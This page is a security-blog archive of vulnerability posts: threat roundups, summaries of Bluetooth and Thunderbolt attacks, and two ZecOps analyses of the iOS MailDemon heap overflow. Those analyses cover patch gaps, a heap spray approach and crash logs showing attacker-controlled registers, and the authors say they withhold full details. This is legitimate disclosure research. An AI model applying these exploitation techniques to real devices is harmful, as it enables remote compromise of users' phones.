Category Archives: Vulnerabilities

Threat Roundup for May 22 to May 29

Today, Talos is publishing a glimpse into the most prevalent threats we’ve observed between May 22 and May 29. As with previous roundups, this post isn’t meant to be an in-depth analysis. Instead, this post will summarize the threats we’ve observed by highlighting key behavioral characteristics, indicators of compromise, and discussing how our customers are automatically protected from these threats.

As a reminder, the information provided for the following threats in this post is non-exhaustive and current as of the date of publication. Additionally, please keep in mind that IOC searching is only one part of threat hunting. Spotting a single IOC does not necessarily indicate maliciousness. Detection and coverage for the following threats is subject to updates, pending additional threat or vulnerability analysis. For the most current information, please refer to your Firepower Management Center, Snort.org, or ClamAV.net.

Read More

 

Reference

20200529-tru.json – this is a JSON file that includes the IOCs referenced in this post, as well as all hashes associated with the cluster. The list is limited to 25 hashes in this blog post. As always, please remember that all IOCs contained in this document are indicators, and that one single IOC does not indicate maliciousness. See the Read More link above for more details.

The post Threat Roundup for May 22 to May 29 appeared first on Cisco Blogs.

Bluetooth Vulnerability: BIAS

This is new research on a Bluetooth vulnerability (called BIAS) that allows someone to impersonate a trusted device:

Abstract: Bluetooth (BR/EDR) is a pervasive technology for wireless communication used by billions of devices. The Bluetooth standard includes a legacy authentication procedure and a secure authentication procedure, allowing devices to authenticate to each other using a long term key. Those procedures are used during pairing and secure connection establishment to prevent impersonation attacks. In this paper, we show that the Bluetooth specification contains vulnerabilities enabling to perform impersonation attacks during secure connection establishment. Such vulnerabilities include the lack of mandatory mutual authentication, overly permissive role switching, and an authentication procedure downgrade. We describe each vulnerability in detail, and we exploit them to design, implement, and evaluate master and slave impersonation attacks on both the legacy authentication procedure and the secure authentication procedure. We refer to our attacks as Bluetooth Impersonation AttackS (BIAS).

Our attacks are standard compliant, and are therefore effective against any standard compliant Bluetooth device regardless the Bluetooth version, the security mode (e.g., Secure Connections), the device manufacturer, and the implementation details. Our attacks are stealthy because the Bluetooth standard does not require to notify end users about the outcome of an authentication procedure, or the lack of mutual authentication. To confirm that the BIAS attacks are practical, we successfully conduct them against 31 Bluetooth devices (28 unique Bluetooth chips) from major hardware and software vendors, implementing all the major Bluetooth versions, including Apple, Qualcomm, Intel, Cypress, Broadcom, Samsung, and CSR.

News articles.

Hidden demons? MailDemon Patch Analysis: iOS 13.4.5 Beta vs. iOS 13.5

Hidden demons? MailDemon Patch Analysis: iOS 13.4.5 Beta vs. iOS 13.5

Summary and TL;DR

Further to Apple’s patch of the MailDemon vulnerability (see our blog here), ZecOps Research Team has analyzed and compared the MailDemon patches of iOS 13.4.5 beta and iOS 13.5. 

Our analysis concluded  that the patches are different, and that iOS 13.4.5 beta patch was incomplete and could be still vulnerable under certain circumstances. 

Since the 13.4.5 beta patch was insufficient, Apple issued a complete patch utilising a different approach which fixed this issue completely on both iOS 13.5 and iOS 12.4.7 as a special security update for older devices. 

This may explain why it took about one month for a full patch to be released. 

iOS 13.4.5 beta patch

The following is the heap-overflow vulnerability patch on iOS 13.4.5 beta.  

The function  -[MFMutableData appendBytes:length:] raises an exception if  -[MFMutableData _mapMutableData] returns false.

In order to see when -[MFMutableData _mapMutableData] returns false, let’s take a look at how it is implemented:

When mmap fails it returns False, but still allocates a 8-bytes chunk and stores the pointer in self->bytes. This patch raises an exception before copying data into self->bytes, which solves the heap overflow issue partially.

 -[MFMutableData appendData:]
 |
+--  -[MFMutableData appendBytes:length:] **<-patch**
    |
    +-- -[MFMutableData _mapMutableData]

The patch makes sure an exception will be raised inside -[MFMutableData appendBytes:length:]. However, there are other functions that call -[MFMutableData _mapMutableData] and interact with self->bytes which will be an 8-bytes chunk if mmap fails, these functions do not check if mmap fails or not since the patch only affects -[MFMutableData appendBytes:length:].

Following is an actual backtrace taken from MobileMail:

 * frame #0: 0x000000022a0fd018 MIME`-[MFMutableData _mapMutableData:]
    frame #1: 0x000000022a0fc2cc MIME`-[MFMutableData bytes] + 108
    frame #2: 0x000000022a0fc314 MIME`-[MFMutableData mutableBytes] + 52
    frame #3: 0x000000022a0f091c MIME`_MappedAllocatorAllocate + 76
    frame #4: 0x0000000218cd4e9c CoreFoundation`_CFRuntimeCreateInstance + 324
    frame #5: 0x0000000218cee5c4 CoreFoundation`__CFStringCreateImmutableFunnel3 + 1908
    frame #6: 0x0000000218ceeb04 CoreFoundation`CFStringCreateWithBytes + 44
    frame #7: 0x000000022a0eab94 MIME`_MFCreateStringWithBytes + 80
    frame #8: 0x000000022a0eb3a8 MIME`_filter_checkASCII + 84
    frame #9: 0x000000022a0ea7b4 MIME`MFCreateStringWithBytes + 136
-[MFMutableData mutableBytes]
|
+--  -[MFMutableData bytes]
   |
   +--  -[MFMutableData _mapMutableData:]

Since the bytes returned by mutableBytes is usually considered to be modifiable given following from Apple’s documentation:

This property is similar to, but different than the bytes property. The bytes property contains a pointer to a constant. You can use The bytes pointer to read the data managed by the data object, but you cannot modify that data. However, if the mutableBytes property contains a non-null pointer, this pointer points to mutable data. You can use the mutableBytes pointer to modify the data managed by the data object.

Apple’s documentation

Both -[MFMutableData mutableBytes] and -[MFMutableData bytes] returns self->bytes points to the 8-bytes chunk if mmap fails, which might lead to heap overflow under some circumstances.

The following is an example of how things could go wrong, the heap overflow still would happen even if it checks length before memcpy:

size_t length = 0x30000;
MFMutableData* mdata = [MFMutableData alloc];
data = malloc(length);
[mdata initWithBytesNoCopy:data length:length];    
size_t mdata_len = [mdata length];
char* mbytes = [mdata mutableBytes];//mbytes could be a 8-bytes chunk
size_t new_data_len = 90;
char* new_data = malloc(new_data_len);
if (new_data_len <= mdata_len) {
    memcpy(mbytes, new_data, new_data_len);//heap overflow if mmap fails
}

iOS 13.5 Patch

Following the iOS 13.5 patch, an exception is raised in “-[MFMutableData _mapMutableData] ”, right after mmap fails and it doesn’t return the 8-bytes chunk anymore. This approach fixes the issue completely.

Summary

iOS 13.5 patch is the correct way to patch the heap overflow vulnerability. It is important to double check security patches and verify that the patch is complete. 

At ZecOps we help developers to find security weaknesses, and validate if the issue was correctly solved automatically. If you would like to find similar vulnerabilities in your applications/programs, we are now adding additional users to our CrashOps SDK beta program
If you do not own an app, and would like to inspect your phone for suspicious activity – check out ZecOps iOS DFIR solution – Gluon.

Threat Roundup for May 8 to May 15

Today, Talos is publishing a glimpse into the most prevalent threats we’ve observed between May 8 and May 15. As with previous roundups, this post isn’t meant to be an in-depth analysis. Instead, this post will summarize the threats we’ve observed by highlighting key behavioral characteristics, indicators of compromise, and discussing how our customers are automatically protected from these threats.

As a reminder, the information provided for the following threats in this post is non-exhaustive and current as of the date of publication. Additionally, please keep in mind that IOC searching is only one part of threat hunting. Spotting a single IOC does not necessarily indicate maliciousness. Detection and coverage for the following threats is subject to updates, pending additional threat or vulnerability analysis. For the most current information, please refer to your Firepower Management Center, Snort.org, or ClamAV.net.

Read More

 

Reference

20200515-tru.json – this is a JSON file that includes the IOCs referenced in this post, as well as all hashes associated with the cluster. The list is limited to 25 hashes in this blog post. As always, please remember that all IOCs contained in this document are indicators, and that one single IOC does not indicate maliciousness. See the Read More link above for more details.

The post Threat Roundup for May 8 to May 15 appeared first on Cisco Blogs.

Attack Against PC Thunderbolt Port

The attack requires physical access to the computer, but it's pretty devastating:

On Thunderbolt-enabled Windows or Linux PCs manufactured before 2019, his technique can bypass the login screen of a sleeping or locked computer -- and even its hard disk encryption -- to gain full access to the computer's data. And while his attack in many cases requires opening a target laptop's case with a screwdriver, it leaves no trace of intrusion and can be pulled off in just a few minutes. That opens a new avenue to what the security industry calls an "evil maid attack," the threat of any hacker who can get alone time with a computer in, say, a hotel room. Ruytenberg says there's no easy software fix, only disabling the Thunderbolt port altogether.

"All the evil maid needs to do is unscrew the backplate, attach a device momentarily, reprogram the firmware, reattach the backplate, and the evil maid gets full access to the laptop," says Ruytenberg, who plans to present his Thunderspy research at the Black Hat security conference this summer­or the virtual conference that may replace it. "All of this can be done in under five minutes."

Lots of details in the article above, and in the attack website. (We know it's a modern hack, because it comes with its own website and logo.)

Intel responds.

EDITED TO ADD (5/14): More.

Seeing (Mail)Demons? Technique, Triggers, and a Bounty

Seeing (Mail)Demons? Technique, Triggers, and a Bounty

Impact & Key Details (TL;DR)

  1. Demonstrate a way to do a basic heap spray
  2. We were able to use this technique to verify that this vulnerability is exploitable. We are still working on improving the success rate.
  3. Present two new examples of in-the-wild triggers so you can judge by yourself if these bugs worth an out of band patch
  4. Suggestions to Apple on how to improve forensics information / logs and important questions following Apple’s response to the previous disclosure
  5. Launching a bounty program for people who have traces of attacks with total bounties of $27,337
  6. MailDemon appears to be even more ancient than we initially thought. There is a trigger for this vulnerability, in the wild, 10 years ago, on iPhone 2g, iOS 3.1.3

Following our announcement of RCE vulnerabilities discovery in the default Mail application on iOS, we have been contacted by numerous individuals who suspect they were targeted by this and related vulnerabilities in Mail.

ZecOps encourages Apple to release an out of band patch for the recently disclosed vulnerabilities and hopes that this blog will provide additional reinforcement to release patches as early as possible. In this blogpost we will show a simple way to spray the heap, whereby we were able to prove that remote exploitation of this issue is possible, and we will also provide two examples of triggers observed in the wild.

At present, we already have the following:

  • Remote heap-overflow in Mail application
  • Ability to trigger the vulnerability remotely with attacker-controlled input through an incoming mail
  • Ability to alter code execution
  • Kernel Elevation of Privileges 0day

What we don’t have:

  • An infoleak – but therein rests a surprise: an infoleak is not mandatory to be in Mail since an infoleak in almost any other process would be sufficient. Since dyld_shared_cache is shared through most processes, an infoleak vulnerability doesn’t necessarily have to be inside MobileMail, for example CVE-2019-8646 of iMessage can do the trick remotely as well – which opens additional attack surface (Facetime, other apps, iMessage, etc). There is a great talk by 5aelo during OffensiveCon covering similar topics.

Therefore, now we have all the requirements to exploit this bug remotely. Nonetheless, we prefer to be cautious  in chaining this together because:

  • We have no intention of disclosing the LPE – it allows us to perform filesystem extraction / memory inspection on A12 devices and above when needed. You can read more about the problems of analyzing mobile devices at FreeTheSandbox.org
  • We haven’t seen exploitation in the wild for the LPE.

We will also share two examples of triggers that we have seen in the wild and let you make your own inferences and conclusions. 

the mail-demon vulnerability
were you targeted by this vulnerability?

MailDemon Bounty

Lastly, we will present a bounty for those submissions that were able to demonstrate that they were attacked.

Exploiting MailDemon

As we previously hinted, MailDemon is a great candidate for exploitation because it overwrites small chunks of a MALLOC_NANO memory region, which stores a large number of Objective-C objects. Consequently, it allows attackers to manipulate an ISA pointer of the corrupted objects (allowing them to cause type confusions) or overwrite a function pointer to control the code flow of the process. This represents a viable approach of taking over the affected process.

Heap Spray & Heap Grooming Technique

In order to control the code flow, a heap spray is required to place crafted data into the memory. With the sprayed fake class containing a fake method cache of ‘dealloc’ method, we were able to control the Program Counter (PC) register after triggering the vulnerability using this method*.

The following is a partial crash log generated while testing our POC:

Exception Type:  EXC_BAD_ACCESS (SIGBUS)
Exception Subtype: EXC_ARM_DA_ALIGN at 0xdeadbeefdeadbeef
VM Region Info: 0xdeadbeefdeadbeef is not in any region.  Bytes after previous region: 16045690973559045872  
      REGION TYPE                      START - END             [ VSIZE] PRT/MAX SHRMOD  REGION DETAIL
      MALLOC_NANO            0000000280000000-00000002a0000000 [512.0M] rw-/rwx SM=PRV  
--->  
      UNUSED SPACE AT END

Thread 18 name:  Dispatch queue: com.apple.CFNetwork.Connection
Thread 18 Crashed:
0   ???                           	0xdeadbeefdeadbeef 0 + -2401053088876216593
1   libdispatch.dylib             	0x00000001b7732338 _dispatch_lane_serial_drain$VARIANT$mp  + 612
2   libdispatch.dylib             	0x00000001b7732e74 _dispatch_lane_invoke$VARIANT$mp  + 480
3   libdispatch.dylib             	0x00000001b773410c _dispatch_workloop_invoke$VARIANT$mp  + 1960
4   libdispatch.dylib             	0x00000001b773b4ac _dispatch_workloop_worker_thread  + 596
5   libsystem_pthread.dylib       	0x00000001b796a114 _pthread_wqthread  + 304
6   libsystem_pthread.dylib       	0x00000001b796ccd4 start_wqthread  + 4


Thread 18 crashed with ARM Thread State (64-bit):
    x0: 0x0000000281606300   x1: 0x00000001e4b97b04   x2: 0x0000000000000004   x3: 0x00000001b791df30
    x4: 0x00000002827e81c0   x5: 0x0000000000000000   x6: 0x0000000106e5af60   x7: 0x0000000000000940
    x8: 0x00000001f14a6f68   x9: 0x00000001e4b97b04  x10: 0x0000000110000ae0  x11: 0x000000130000001f
   x12: 0x0000000110000b10  x13: 0x000001a1f14b0141  x14: 0x00000000ef02b800  x15: 0x0000000000000057
   x16: 0x00000001f14b0140  x17: 0xdeadbeefdeadbeef  x18: 0x0000000000000000  x19: 0x0000000108e68038
   x20: 0x0000000108e68000  x21: 0x0000000108e68000  x22: 0x000000016ff3f0e0  x23: 0xa3a3a3a3a3a3a3a3
   x24: 0x0000000282721140  x25: 0x0000000108e68038  x26: 0x000000016ff3eac0  x27: 0x00000002827e8e80
   x28: 0x000000016ff3f0e0   fp: 0x000000016ff3e870   lr: 0x00000001b6f3db9c
    sp: 0x000000016ff3e400   pc: 0xdeadbeefdeadbeef cpsr: 0x60000000

The ideal primitive for heap spray in this case is a memory leak bug that can be triggered from remote, since we want the sprayed memory to stay untouched until the memory corruption is triggered. We left this as an exercise for the reader. Such primitive could qualify for up to $7,337 bounty from ZecOps (read more below).

Another way is using MFMutableData itself – when the size of MFMutableData is less than 0x20000 bytes it allocates memory from the heap instead of creating a file to store the content. And we can control the MFMutableData size by splitting content of the email into lines less than 0x20000 bytes since the IMAP library reads email content by lines. With this primitive we have a better chance to place payload into the address we want.

Trigger

An oversized email is capable of reproducing the vulnerability as a PoC(see details in our previous blog), but for a stable exploit, we need to take a closer look at “-[MFMutableData appendBytes:length:]“

-[MFMutableData appendBytes:length:] 
{
  int old_len = [self length];
  //...
  char* bytes = self->bytes;
  if(!bytes){
     bytes = [self _mapMutableData]; //Might be a data pointer of a size 8 heap
  }
  copy_dst = bytes + old_len;
  //...
  memmove(copy_dst, append_bytes, append_length); // It used append_length to copy the memory, causing an OOB writing in a small heap
}

The destination address of memove is ”bytes + old_len” instead of’ ‘bytes”. So what if we accumulate too much data before triggering the vulnerability? The “old_len” would end up with a very big value so that the destination address will end up in a invalid address which is beyond the edge of this region and crash immediately, given that the size of MALLOC_NANO region is 512MB.


             +----------------+0x280000000
             |                |
   bytes --> +----------------+\
             |                | +
             |                | |
             |                | |
             |    padding     | |
             |                | |
             |                | | old_len
             |                | |
             |                | |
             |                | |
             |                | +
copy_dst --> +----------------+/
             | overflow data  |
             +----------------+
             |                |
             |                |
             |                |
             |                |
             +----------------+0x2a0000000

In order to reduce the size of “padding”, we need to consume as much data as possible before triggering the vulnerability – a memory leak would be one of our candidates.

Noteworthy, the “padding” doesn’t mean the overflow address is completely random, the “padding” is predictable by hardware models since the RAM size is the same, and mmap is usually failed at the same size during our tests.

Crash analysis

This post discusses several triggers and exploitability of the MobileMail vulnerability detected in the wild which we covered in our previous blog.

Case 1 shows that the vulnerability is triggered in the wild before it was disclosed.

Case 2 is due to memory corruption in the MALLOC_NANO region, the value of the corrupted memory is part of the sent email and completely controlled by the sender.

Case 1

The following crash was triggered right inside the vulnerable function while the overflow happens. 

Coalition:           com.apple.mobilemail [521]

Exception Type:  EXC_BAD_ACCESS (SIGSEGV)
Exception Subtype: KERN_INVALID_ADDRESS at 0x000000004a35630e //[a]
VM Region Info: 0x4a35630e is not in any region.  Bytes before following region: 3091946738
      REGION TYPE                      START - END             [ VSIZE] PRT/MAX SHRMOD  REGION DETAIL
      UNUSED SPACE AT START
--->  
      __TEXT                 000000010280c000-0000000102aec000 [ 2944K] r-x/r-x SM=COW  ...p/MobileMail]


Thread 4 Crashed:
0   libsystem_platform.dylib      	0x00000001834a5a80 _platform_memmove  + 208
       0x1834a5a74         ldnp x10, x11, [x1, #16]       
       0x1834a5a78         add x1, x1, 0x20               
       0x1834a5a7c         sub x2, x2, x5                 
       0x1834a5a80         stp x12, x13, [x0]   //[b]          
       0x1834a5a84         stp x14, x15, [x0, #16]        
       0x1834a5a88         subs x2, x2, 0x40              
       0x1834a5a8c         b.ls 0x00002ab0    

1   MIME                          	0x00000001947ae104 -[MFMutableData appendBytes:length:]  + 356
2   Message                       	0x0000000194f6ce6c -[MFDAMessageContentConsumer consumeData:length:format:mailMessage:]  + 804
3   DAEAS                         	0x000000019ac5ca8c -[ASAccount folderItemsSyncTask:handleStreamOperation:forCodePage:tag:withParentItem:withData:dataLength:]  + 736
4   DAEAS                         	0x000000019aca3fd0 -[ASFolderItemsSyncTask handleStreamOperation:forCodePage:tag:withParentItem:withData:dataLength:]  + 524
5   DAEAS                         	0x000000019acae338 -[ASItem _streamYourLittleHeartOutWithContext:]  + 440
6   DAEAS                         	0x000000019acaf4d4 -[ASItem _streamIfNecessaryFromContext:]  + 96
7   DAEAS                         	0x000000019acaf758 -[ASItem _parseNextValueWithDataclass:context:root:parent:callbackDict:streamCallbackDict:parseRules:account:]  + 164
8   DAEAS                         	0x000000019acb001c -[ASItem parseASParseContext:root:parent:callbackDict:streamCallbackDict:account:]  + 776
9   DAEAS                         	0x000000019acaf7d8 -[ASItem _parseNextValueWithDataclass:context:root:parent:callbackDict:streamCallbackDict:parseRules:account:]  + 292
10  DAEAS                         	0x000000019acb001c -[ASItem parseASParseContext:root:parent:callbackDict:streamCallbackDict:account:]  + 776
...

Thread 4 crashed with ARM Thread State (64-bit):
    x0: 0x000000004a35630e   x1: 0x00000001149af432   x2: 0x0000000000001519   x3: 0x000000004a356320
    x4: 0x0000000100000028   x5: 0x0000000000000012   x6: 0x0000000c04000100   x7: 0x0000000114951a00
    x8: 0x44423d30443d3644   x9: 0x443d30443d38463d  x10: 0x3d31413d31443d30  x11: 0x31413d31463d3444
   x12: 0x33423d30453d3043  x13: 0x433d30443d35423d  x14: 0x3d30443d36443d44  x15: 0x30443d38463d4442
   x16: 0x00000001834a59b0  x17: 0x0200080110000100  x18: 0xfffffff00a0dd260  x19: 0x000000000000152b
   x20: 0x00000001149af400  x21: 0x000000004a35630e  x22: 0x000000004a35630f  x23: 0x0000000000000008
   x24: 0x000000000000152b  x25: 0x0000000000000000  x26: 0x0000000000000000  x27: 0x00000001149af400
   x28: 0x000000018dbd34bc   fp: 0x000000016da4c720   lr: 0x00000001947ae104
    sp: 0x000000016da4c720   pc: 0x00000001834a5a80 cpsr: 0x80000000

With [a] and [b] we know that the process crashed inside “memmove” called by “-[MFMutableData appendBytes:length:]”, which means the value of “copy_dst” is an invalid address at first place which is 0x4a35630e.

So where did the value of the register x0 (0x4a35630e) come from? It’s much smaller than the lowest valid address. 

Turns out that the process crashed when after failing to mmap a file and then failing to allocate the 8 byte memory at the same time. 

The invalid address 0x4a35630e is actually the offset which is the length of MFMutableData before triggering the vulnerability(i.e. “old_len”). When calloc fails to allocate the memory it returns NULL, so the copy_dst will be “0 + old_len(0x4a35630e)”. 

In this case the “old_len” is about 1.2GB which matches the average length of our POC which is likely to cause mmap failure and trigger the vulnerability.

Please note that x8-x15, and x0 are fully controlled by the sender.

The crash gives us another answer for our question above: “What if we accumulate too much data before triggering the vulnerability?” – The allocation of the 8-bytes memory could fail and crash while copying the payload to an invalid address. This can make reliable exploitation more difficult, as we may crash before taking over the program counter.

A Blast From The Past: Mysterious Trigger on iOS 3.1.3 in 2010!

Noteworthy, we found a public example of exactly a similar trigger by an anonymous user in modmy.com forums: https://forums.modmy.com/native-iphone-ipod-touch-app-launches-f29/734050-mail-app-keeps-crashing-randomly.html

Vulnerable version: iOS 3.1.3 on iPhone 2G
Time of crash: 22nd of October, 2010

The user “shyamsandeep”, registered on the 12th of June 2008 and last logged in on the 16th of October 2011 and had a single post in the forum, which contained this exact trigger.

This crash had r0 equal to 0x037ea000, which could be the result of the 1st vulnerability we disclosed in our previous blog which was due to ftruncate() failure. Interestingly, as we explained in the first case, it could also be a result of the allocation of 8-bytes memory failure however it is not possible to determine the exact reason since the log lacked memory regions information. Nonetheless, it is certain that there were triggers in the wild for this exploitable vulnerability since 2010.

Identifier: MobileMail
Version: ??? (???)
Code Type: ARM (Native)
Parent Process: launchd [1]

Date/Time: 2010-10-22 08:14:31.640 +0530
OS Version: iPhone OS 3.1.3 (7E18)
Report Version: 104

Exception Type: EXC_BAD_ACCESS (SIGSEGV) Exception Codes: KERN_INVALID_ADDRESS at 0x037ea000 Crashed Thread: 4
Thread 4 Crashed:
0 libSystem.B.dylib 0x33aaef3c 0x33aad000 + 7996 //memcpy + 0x294
1 MIME 0x30a822a4 0x30a7f000 + 12964 //_FastMemoryMove + 0x44
2 MIME 0x30a8231a 0x30a7f000 + 13082 // -[MFMutableData appendBytes:length:] + 0x6a
3 MIME 0x30a806d6 0x30a7f000 + 5846 // -[MFMutableData appendData:] + 0x32
4 Message 0x342e2938 0x34251000 + 596280 // -[DAMessageContentConsumer consumeData:length:format:mailMessage:] + 0x25c
5 Message 0x342e1ff8 0x34251000 + 593912 // -[DAMailAccountSyncConsumer consumeData:length:format:mailMessage:] +0x24
6 DataAccess 0x34146b22 0x3413e000 + 35618 // -[ASAccount
folderItemsSyncTask:handleStreamOperation:forCodePage:tag:withParentItem:withData:dataLength:] + 0x162
7 DataAccess 0x3416657c 0x3413e000 + 165244 //[ASFolderItemsSyncTaskhandleStreamOperation:forCodePage:tag:withParentIt em:withData:dataLength:] + 0x108
...

Thread 4 crashed with ARM Thread State:
r0: 0x037ea000 r1: 0x008729e0 r2: 0x00002205 r3: 0x4e414153
r4: 0x41415367 r5: 0x037e9825 r6: 0x00872200 r7: 0x007b8b78
r8: 0x0001f825 r9: 0x001fc098 r10: 0x00872200 r11: 0x0087c200
ip: 0x0000068a sp: 0x007b8b6c lr: 0x30a822ab pc: 0x33aaef3c
cpsr: 0x20000010

Case 2

Following is another crash that happened after an email was received and processed.

Coalition:           com.apple.mobilemail [308]

Exception Type:  EXC_BAD_ACCESS (SIGSEGV)
Exception Subtype: KERN_INVALID_ADDRESS at 0x0041004100410041 // [a]
VM Region Info: 0x41004100410041 is not in any region.  Bytes after previous region: 18296140473139266  
      REGION TYPE                      START - END             [ VSIZE] PRT/MAX SHRMOD  REGION DETAIL
      mapped file            00000002d31f0000-00000002d6978000 [ 55.5M] r--/rw- SM=COW  ...t_id=9bfc1855
--->  
      UNUSED SPACE AT END

Thread 13 name:  Dispatch queue: Internal _UICache queue
Thread 13 Crashed:
0   libobjc.A.dylib               	0x00000001b040fca0 objc_release  + 16
       0x1b040fc94         mov x29, sp                    
       0x1b040fc98         cbz x0, 0x0093fce4             
       0x1b040fc9c         tbnz x0, #63, 0x0093fce4       
       0x1b040fca0         ldr x8, [x0]            // [b]       
       0x1b040fca4         and x8, x8, 0xffffffff8        
       0x1b040fca8         ldrb w8, [x8, #32]             
       0x1b040fcac         tbz w8, #2, 0x0093fd14         

1   CoreFoundation                	0x00000001b1119408 -[__NSDictionaryM removeAllObjects]  + 600
2   libdispatch.dylib             	0x00000001b0c5d7d4 _dispatch_client_callout  + 16
3   libdispatch.dylib             	0x00000001b0c0bc1c _dispatch_lane_barrier_sync_invoke_and_complete  + 56    
4   UIFoundation                  	0x00000001bb9136b0 __16-[_UICache init]_block_invoke  + 76     
5   libdispatch.dylib             	0x00000001b0c5d7d4 _dispatch_client_callout  + 16
6   libdispatch.dylib             	0x00000001b0c0201c _dispatch_continuation_pop$VARIANT$mp  + 412
7   libdispatch.dylib             	0x00000001b0c11fa8 _dispatch_source_invoke$VARIANT$mp  + 1308
8   libdispatch.dylib             	0x00000001b0c0ee00 _dispatch_kevent_worker_thread  + 1224   
9   libsystem_pthread.dylib       	0x00000001b0e3e124 _pthread_wqthread  + 320          
10  libsystem_pthread.dylib       	0x00000001b0e40cd4 start_wqthread  + 4 


Thread 13 crashed with ARM Thread State (64-bit):
    x0: 0x0041004100410041   x1: 0x00000001de1ac18a   x2: 0x0000000000000000   x3: 0x0000000000000010
    x4: 0x00000001b0c60388   x5: 0x0000000000000010   x6: 0x0000000000000000   x7: 0x0000000000000000
    x8: 0x0000000281f94090   x9: 0x00000001b143f670  x10: 0x0000000142846800  x11: 0x0000004b0000007f
   x12: 0x00000001428468a0  x13: 0x000041a1eb487861  x14: 0x0000000283ed9d10  x15: 0x0000000000000004
   x16: 0x00000001eb487860  x17: 0x00000001b11191b0  x18: 0x0000000000000000  x19: 0x0000000281dce4c0
   x20: 0x0000000282693398  x21: 0x0000000282693330  x22: 0x0000000000000000  x23: 0x0000000000000000
   x24: 0x0000000281dce4c8  x25: 0x000000000c000000  x26: 0x000000000000000d  x27: 0x00000001eb48e000
   x28: 0x0000000282693330   fp: 0x000000016b8fe820   lr: 0x00000001b1119408
    sp: 0x000000016b8fe820   pc: 0x00000001b040fca0 cpsr: 0x20000000

[a]: The pointer of the object was overwritten with “0x0041004100410041” which is AAAA in unicode. 

[b] is one of the instructions around the crashed address we’ve added for better understanding, the process crashed on instruction “ldr x8, [x0]” while -[__NSDictionaryM removeAllObjects] was trying to release one the objects.

By reverse engineering -[__NSDictionaryM removeAllObjects], we understand that register x0 was loaded from x28(0x0000000282693330), since register x28 was never changed before the crash.

Let’s take a look at the virtual memory region information of x28: 0x0000000282693330, the overwritten object was stored in MALLOC_NANO region which stores small heap chunks. The heap overflow vulnerability corrupts the same region since it overflows on a 8-bytes heap chunk which is also stored in MALLOC_NANO.

  MALLOC_NANO         	 0x0000000280000000-0x00000002a0000000	 rw-/rwx

This crash is actually pretty close to controlling the PC since it controls the pointer of an Objective-C object. By pointing the value of register x0 to a memory sprayed with a fake object and class with fake method cache, the attackers could control the PC pointer, this phrack blog explains the details.

Summary

  1. It is rare to see that user-provided inputs trigger and control remote vulnerabilities. 
  2. We prove that it is possible to exploit this vulnerability using the described technique.
  3. We have observed real world triggers with a large allocation size.
  4. We have seen real world triggers with values that are controlled by the sender.
  5. The emails we looked for were missing / deleted.
  6. Success-rate can be improved. This bug had in-the-wild triggers in 2010 on an iPhone 2G device.
  7. In our opinion, based on the above, this bug is worth an out of band patch.

How Can Apple Improve the Logs?

The lack of details in iOS logs and the lack of options to choose the granularity of the data  for both individuals and organizations need to change to get iOS to be on-par with MacOS, Linux, and Windows capabilities. In general, the concept of hacking into a phone in order to analyze it, is completely flawed and should not  be the normal way to do it.

We suggest Apple improve its error diagnostics process to help individuals, organizations, and SOCs to investigate their devices. We have a few helpful technical suggestions:

  1. Crashes improvement: Enable to see memory next to each pointer / register
  2. Crashes improvement: Show stack / heap memory / memory near registers
  3. Add PIDs/PPIDs/UID/EUID to all applicable events
  4. Ability to send these logs to a remote server without physically connecting the phone – we are aware of multiple cases where the logs were mysteriously deleted
  5. Ability to perform complete digital forensics analysis of suspected iOS devices without a need to hack into the device first.

Questions for Apple

  • How many triggers have you seen to this heap overflow since iOS 3.1.3? 
  • How were you able to determine within one day that all of the triggers to this bug were not malicious and did you actually go over each event ? 
  • When are you planning to patch this vulnerability?
  • What are you going to do about enhancing forensics on mobile devices (see the list above)?

MailDemon Bounty

If you experienced any of the three symptoms below, use another mail application (e.g. Outlook for Desktop), and send the relevant emails (including the Email Source) to the address maildemon@zecops.org– there are instructions at the bottom of this post.

Suspected emails may appear as follows:

Bounty details: We will validate if the email contains an exploit code. For the first two submissions containing Mail exploits that were verified by ZecOps team, we will provide:

  • $10,000 USD bounty
  • One license for ZecOps Gluon (DFIR for mobile devices) for 1 year
  • One license for ZecOps Neutrino (DFIR for endpoints and servers) for 1 year. 

We will provide an additional bounty of up to $7,337 for exploit primitive as described above.

We will determine what were the first two valid submissions according to the date they were received in our email server and if they contain an exploit code. A total of $27,337 USD in bounties and licenses of ZecOps Gluon & Neutrino. 

For suspicious submissions, we would also request device logs in order to determine other relevant information about potential attackers exploiting vulnerabilities in Mail and other vulnerabilities on the device.

Please note: Not every email that causes the symptoms above and shared with us will qualify for a bounty as there could be other bugs in MobileMail/maild – we’re only looking for ones that contain an attack.

How to send the emails using Outlook :

  1. Open Outlook from a computer and locate the relevant email
  2. Select Actions => Other Actions => View Source
  3. And send the source to maildemon@zecops.org

How to send the suspicious email via Gmail:

  1. Locate and select the relevant message
  2. Click on the three dots “… “ in the menu and click on Forward as an attachment
  3. Send the email with the “.eml” attachment to maildemon@zecops.org

* Please note that we haven’t published all details intentionally. This bug is still unpatched and we want to avoid further misuse of this bug

Hear the news first

  • Only essential content
  • New vulnerabilities & announcements
  • News from ZecOps Research Team
We won’t spam, pinky swear 🤞

Threat Roundup for May 1 to May 8

Today, Talos is publishing a glimpse into the most prevalent threats we’ve observed between Apr 24 and May 1. As with previous roundups, this post isn’t meant to be an in-depth analysis. Instead, this post will summarize the threats we’ve observed by highlighting key behavioral characteristics, indicators of compromise, and discussing how our customers are automatically protected from these threats.

As a reminder, the information provided for the following threats in this post is non-exhaustive and current as of the date of publication. Additionally, please keep in mind that IOC searching is only one part of threat hunting. Spotting a single IOC does not necessarily indicate maliciousness. Detection and coverage for the following threats is subject to updates, pending additional threat or vulnerability analysis. For the most current information, please refer to your Firepower Management Center, Snort.org, or ClamAV.net.

Read More

 

Reference

20200508-tru.json – this is a JSON file that includes the IOCs referenced in this post, as well as all hashes associated with the cluster. The list is limited to 25 hashes in this blog post. As always, please remember that all IOCs contained in this document are indicators, and that one single IOC does not indicate maliciousness. See the Read More link above for more details.

The post Threat Roundup for May 1 to May 8 appeared first on Cisco Blogs.

iOS XML Bug

This is a good explanation of an iOS bug that allowed someone to break out of the application sandbox. A summary:

What a crazy bug, and Siguza's explanation is very cogent. Basically, it comes down to this:

  • XML is terrible.
  • iOS uses XML for Plists, and Plists are used everywhere in iOS (and MacOS).
  • iOS's sandboxing system depends upon three different XML parsers, which interpret slightly invalid XML input in slightly different ways.

